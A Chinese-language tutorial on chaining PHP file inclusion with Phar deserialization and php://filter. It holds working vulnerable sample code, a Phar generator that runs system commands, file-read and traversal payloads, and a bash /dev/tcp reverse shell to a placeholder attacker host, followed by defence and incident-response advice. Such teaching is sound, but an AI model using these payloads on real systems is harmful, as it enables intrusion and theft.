PHP文件包含漏洞与Phar反序列化攻击链深度剖析与防御实践

发布时间:2026/6/25 17:28:25
PHP文件包含漏洞与Phar反序列化攻击链深度剖析与防御实践 1. 项目概述一次对PHP文件包含与Phar反序列化漏洞的深度实战剖析最近在复盘一些老项目的安全审计记录时我重新审视了“文件包含漏洞”这个看似基础却常被忽视的攻击面。特别是当它与PHP的Phar协议、include/require函数以及php://filter伪协议交织在一起时会形成一条极具隐蔽性和破坏力的攻击链。很多开发者甚至是一些中级安全人员可能只了解其中一两个点但对其串联利用的完整逻辑和防御要点并不清晰。今天我就结合一个模拟的实战场景把这几个技术点掰开揉碎了讲清楚。这篇文章适合有一定PHP基础、想深入理解Web安全中代码执行漏洞原理的开发者或安全爱好者。我们将从漏洞原理、环境搭建、手工利用、自动化工具辅助再到深度防御走完一个完整的“攻防演练”流程。2. 漏洞原理深度拆解为何它们能组合出“王炸”在深入实操之前我们必须先理解这三个核心组件各自的工作原理以及它们是如何被“组装”成攻击武器的。这就像理解一个复杂机械的每个齿轮是如何咬合的。2.1 文件包含漏洞的本质信任边界的崩塌文件包含漏洞的核心在于程序将用户可控的输入未经充分验证就直接作为文件路径参数传递给了文件包含函数如include、require、include_once、require_once。一个典型的漏洞代码片段// vuln.php $page $_GET[page]; include($page . .php);开发者的本意可能是通过?pagehome来加载home.php。但攻击者可以构造?pagehttp://evil.com/shell如果allow_url_include配置为On则会包含远程文件执行恶意代码。更常见的是利用路径遍历如?page../../../../etc/passwd来读取敏感文件。注意include和require的主要区别在于错误处理。include在包含失败时产生警告E_WARNING脚本继续执行require则产生致命错误E_COMPILE_ERROR脚本停止。但在漏洞利用上两者没有区别。这个漏洞的根源是“信任”问题程序过度信任了来自客户端用户的输入并将其直接映射到服务器本地的文件系统或网络资源访问操作上。2.2 Phar协议与反序列化藏在“压缩包”里的木马PharPHP Archive是PHP的一种打包格式类似于Java的JAR。它可以将多个PHP文件、资源等打包成一个.phar文件。Phar文件包含三部分存根Stub、清单Manifest和文件内容。关键点在于清单Manifest。它包含了被打包文件的元信息并以序列化的形式存储。当PHP通过phar://伪协议去访问Phar文件内部的某个子文件时例如phar:///path/to/archive.phar/internal/file.phpPhar扩展会自动反序列化这个清单数据。这就埋下了一个巨大的安全隐患如果攻击者能够控制Phar文件的内容并在清单中插入恶意的序列化数据一个包含__destruct()或__wakeup()魔术方法的对象那么当这个Phar文件被以任何方式如file_get_contents()、include、甚至是file_exists()通过phar://协议访问时反序列化过程就会被触发从而执行对象中的恶意代码。有趣的是Phar文件不一定需要.phar后缀。通过修改文件头Stub它可以伪装成.jpg、.png甚至.txt文件这极大地增加了检测和防御的难度。2.3 php://filter伪协议文件内容的“透视镜”与“转换器”php://filter是PHP提供的一个用于访问输入/输出流的过滤器。在文件包含的语境下它最常被用来进行读取文件源码和编码转换。读取源码当包含一个非PHP文件如.txt时PHP会直接将其内容作为文本输出。但如果服务器配置了allow_url_includeOff无法直接包含远程文件或者我们想读取PHP文件的源码因为包含PHP文件会被执行看不到源码就可以利用filter的convert.base64-encode过滤器。利用载荷php://filter/convert.base64-encode/resourceconfig.php这会将config.php的内容进行Base64编码后输出攻击者解码即可获得源码。编码转换与利用filter的另一个强大之处在于可以串联多个过滤器。这在某些无文件写入、仅有文件包含的场景下可以配合Phar实现攻击。例如我们可以将一段恶意PHP代码先进行Base64编码再通过filter在包含时解码。不过更经典的组合是与Phar反序列化结合。2.4 致命组合include phar:// 可控文件上传现在我们把齿轮组装起来。一个典型的攻击链如下前提存在一个本地文件包含漏洞LFI且攻击者能以某种方式如文件上传、缓存欺骗将一个恶意构造的Phar文件可伪装成图片放置到服务器上已知或可推测的路径。触发攻击者通过文件包含漏洞去包含这个恶意Phar文件但使用phar://协议包装路径。例如include($_GET[file]);传入?filephar:///uploads/evil.jpg/shell.php这里的shell.php是Phar包内的一个虚拟路径用于触发解析。引爆PHP在解析phar://流时会解析evil.jpg实为Phar包的清单并反序列化其中的数据。如果清单内包含了恶意序列化对象其魔术方法如__destruct()中的代码就会被立即执行从而实现远程代码执行RCE。这个链条的可怕之处在于它绕过了对文件后缀的检查因为Phar文件可以伪装成图片也不需要allow_url_include开启因为是本地文件包含在防御不严的环境中成功率很高。3. 实战环境搭建与漏洞复现理解了原理我们动手搭建一个高度还原的漏洞环境。我建议使用Docker干净且易于重置。3.1 环境配置与漏洞代码编写首先我们创建一个脆弱的PHP应用。目录结构/vuln-app ├── index.php ├── upload.php ├── includes/ │ └── (空) └── uploads/ └── (空需可写)index.php (存在文件包含漏洞):?php // 存在致命漏洞的包含点 if (isset($_GET[page])) { $file $_GET[page]; // 危险未对用户输入进行任何过滤 include($file); } else { echo Welcome to the vulnerable app. Use ?page to include files.; } ?upload.php (存在不严谨的上传点):?php if ($_SERVER[REQUEST_METHOD] POST isset($_FILES[file])) { $uploadDir uploads/; $fileName basename($_FILES[file][name]); $uploadPath $uploadDir . $fileName; // 极其脆弱的检查仅检查MIME类型可被轻易伪造 $allowedTypes [image/jpeg, image/png, image/gif]; if (in_array($_FILES[file][type], $allowedTypes)) { if (move_uploaded_file($_FILES[file][tmp_name], $uploadPath)) { echo File uploaded successfully: a href$uploadPath$fileName/a; } else { echo Upload failed.; } } else { echo Invalid file type.; } } ? form methodPOST enctypemultipart/form-data input typefile namefile input typesubmit valueUpload /formPHP配置 (php.ini 关键项):allow_url_fopen On allow_url_include Off // 我们模拟更常见的安全配置实操心得在实际测试中allow_url_include默认或设置为Off的情况占绝大多数因此利用本地文件包含LFI配合Phar是更通用的手法。我们的环境也基于此设置。3.2 构造恶意Phar文件这是攻击的核心步骤。我们需要编写一个PHP脚本来生成恶意的Phar文件。create_phar.php (攻击者本地执行):?php // 定义一个包含恶意代码的类 class EvilClass { public $cmd whoami; public function __destruct() { // 当对象被销毁时执行系统命令 system($this-cmd); } } // 删除之前生成的phar文件避免冲突 unlink(evil.phar); // 创建一个新的Phar对象 $phar new Phar(evil.phar); $phar-startBuffering(); // 设置stub__HALT_COMPILER();是必须的前面内容可以自定义用于伪装 $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); // 创建要放入phar的文件内容这里我们放一个虚拟文件 $phar-addFromString(test.txt, This is a test.); // 关键将恶意对象放入manifest的metadata中 $object new EvilClass(); $object-cmd id; // 要执行的命令例如查看当前用户 $phar-setMetadata($object); // 序列化对象并存入metadata $phar-stopBuffering(); echo Phar file evil.phar created successfully.\n; // 为了方便上传将其重命名为jpg后缀 copy(evil.phar, evil.jpg); echo Copied to evil.jpg for upload.\n; ?在攻击者机器上执行php create_phar.php会生成evil.phar和evil.jpg。用hexdump查看evil.jpg开头可以看到GIF89a文件头和后面的PHP代码成功伪装成了GIF。3.3 完整攻击链演示现在我们模拟一个完整的攻击过程Step 1: 文件上传访问http://target.com/upload.php选择生成的evil.jpg文件上传。服务器检查MIME类型为image/jpeg通过文件被保存到uploads/evil.jpg。Step 2: 触发文件包含与Phar反序列化攻击者已知或猜测上传路径为uploads/evil.jpg。他访问存在漏洞的包含点http://target.com/index.php?pagephar://uploads/evil.jpg/test.txtindex.php接收到pagephar://uploads/evil.jpg/test.txt。include()函数尝试通过phar://协议读取这个“图片”文件中的test.txt。PHP的Phar扩展在处理phar://流时解析evil.jpg发现其实际是Phar格式开始读取其清单Manifest。在读取清单时自动反序列化setMetadata中存储的EvilClass对象。由于是包含操作脚本执行结束后对象会超出作用域或被销毁触发__destruct()魔术方法。__destruct()方法中的system($this-cmd);被执行命令id在服务器上运行。命令执行的结果如uid33(www-data)会直接输出到网页中攻击完成。踩坑记录在实际测试中有时命令执行了但没有回显。这可能是因为include包含一个非PHP文件时其输出被嵌入到了HTML的某个位置被标签淹没。此时可以考虑使用反弹Shell的命令如bash -c bash -i /dev/tcp/attacker_ip/port 01或者将输出写入一个web可读的文件。在EvilClass的__destruct()中改用file_put_contents(/tmp/result.txt, shell_exec($this-cmd));也是一种稳定的方式。4. 利用php://filter进行信息收集与辅助攻击在无法直接上传Phar文件但存在文件包含漏洞时php://filter是我们的首要侦察工具。4.1 源码泄露实战假设我们通过信息收集怀疑存在config.php、database.php等敏感文件。直接读取非PHP文件?page../../.env如果存在且路径正确会直接显示数据库密码等配置。读取PHP文件源码?pagephp://filter/convert.base64-encode/resourceindex.php服务器会返回Base64编码后的index.php源码。攻击者只需解码即可。通过分析源码可以寻找其他漏洞点、数据库配置、绝对路径等关键信息。4.2 Filter链的巧妙利用无需文件上传的Phar触发这是一种更高级的技巧适用于绝对无法上传文件但可以控制包含内容例如通过日志注入、Session注入的场景。其核心是利用php://filter的convert.iconv.*过滤器进行字符集转换将一段精心构造的文本转换成有效的Phar文件二进制流。过程简述攻击者将恶意Phar文件的二进制内容通过特定的字符集转换过滤器如convert.iconv.UTF8.UTF16LE“编码”成一段看似乱码的文本。通过某种方式如写入访问日志、Session文件将这段文本写入服务器的一个文件中。利用文件包含漏洞通过php://filter使用反向的字符集转换过滤器去读取这个文件使其在内存中还原为Phar二进制流。最后用phar://包装这个filter流触发反序列化。一个简化示例载荷?pagephp://filter/convert.iconv.UTF8.UTF16LE|convert.base64-decode/resourcephar:///path/to/controllable_file这个技巧实现起来非常复杂需要对Phar文件格式和过滤器编码有深刻理解。它通常作为“终极手段”出现在CTF比赛中在实际渗透中较少见但了解其原理有助于构建全面的防御体系。注意事项这种利用方式对PHP版本和过滤器可用性有要求且构造过程繁琐。在实战中优先寻找文件上传点其次利用日志/Session包含最后才考虑这种复杂方法。5. 防御方案与最佳实践知其攻方能善其守。针对这条攻击链我们需要构建多层次、纵深的安全防御。5.1 代码层防御白名单与严格校验这是最根本的防御。禁用危险函数在php.ini中设置disable_functions system, exec, passthru, shell_exec, proc_open, ...。这能阻断大部分命令执行。严格限制文件包含参数// 正确的做法白名单机制 $allowedPages [home, about, contact]; $page $_GET[page] ?? home; if (in_array($page, $allowedPages)) { include(__DIR__ . /templates/ . $page . .php); } else { include(__DIR__ . /templates/404.php); }绝对不要使用用户输入直接拼接路径。如果需要动态包含使用白名单是唯一安全的方式。安全处理文件上传重命名使用随机字符串如md5(uniqid())重命名上传的文件避免被猜测路径。验证内容不仅检查MIME类型可伪造更要使用getimagesize()检查图片文件的实际结构或对文件内容进行二次渲染验证。隔离存储将上传的文件存储在Web根目录之外并通过一个专门的脚本如download.php?idxxx来提供访问。这样即使文件是恶意Phar也无法通过Web直接以phar://协议访问到。限制后缀严格限制允许上传的后缀名白名单。5.2 配置层加固关闭危险特性php.ini 关键配置allow_url_fopen Off // 尽可能关闭 allow_url_include Off // 必须关闭限制Phar协议在PHP 7.4及以上版本可以在php.ini中禁用Phar的流包装器但这可能影响合法使用。phar.readonly On // 默认即为On确保它不被关闭。设置为On时无法通过PharData等创建可写的phar包但读取仍可能触发反序列化。更彻底的是在代码中或Web服务器层流包装器。但最有效的还是在代码层面杜绝不必要的动态包含。5.3 架构与运维层防护最小权限原则运行PHP-FPM或Apache进程的用户如www-data应具有最小权限。确保其不能执行敏感系统命令不能写入关键目录。定期更新与扫描保持PHP、Web服务器及所有组件的最新版本。使用静态代码分析工具如phpcs配合安全规则、动态应用安全测试DAST工具进行定期扫描。WAFWeb应用防火墙规则部署WAF并配置规则拦截包含phar://、php://filter等危险协议串的请求以及常见的路径遍历特征如../。5.4 安全开发意识将安全作为开发生命周期的一部分。进行代码审计时将include、require、file_get_contents等文件操作函数作为重点审计对象。在团队内推广安全编码规范。6. 排查与应急响应当漏洞可能已存在如果你怀疑自己的系统可能存在此类漏洞可以按以下步骤排查代码审计全局搜索include、require、include_once、require_once、file_get_contents等函数检查其参数是否用户可控且未经验证。日志分析检查Web服务器访问日志如Nginx的access.log寻找异常的请求参数特别是包含phar://、php://filter、../、....//等字符的请求。文件检查检查上传目录查看是否有可疑的非图片文件可以通过文件头魔数检查。检查/tmp、Session目录等临时目录是否有可疑文件。后门排查使用find命令结合webshell特征码扫描工具检查Web目录下是否有新增的、可疑的PHP文件。入侵确认如果发现确切的利用痕迹如日志中有成功的Phar包含请求且之后有异常命令执行日志应立即隔离服务器进行取证并按照安全事件响应流程处理。我个人在多次内部红蓝对抗和渗透测试项目中发现由文件包含漏洞引发的安全事件其根本原因往往不是技术有多复杂而是开发人员对“用户输入不可信”这一黄金法则的忽视。修复一个include语句可能只需要几分钟但由此引发的数据泄露、服务器沦陷的损失却无法估量。安全无小事它必须贯穿于每一行代码的编写和每一次功能的设计之中。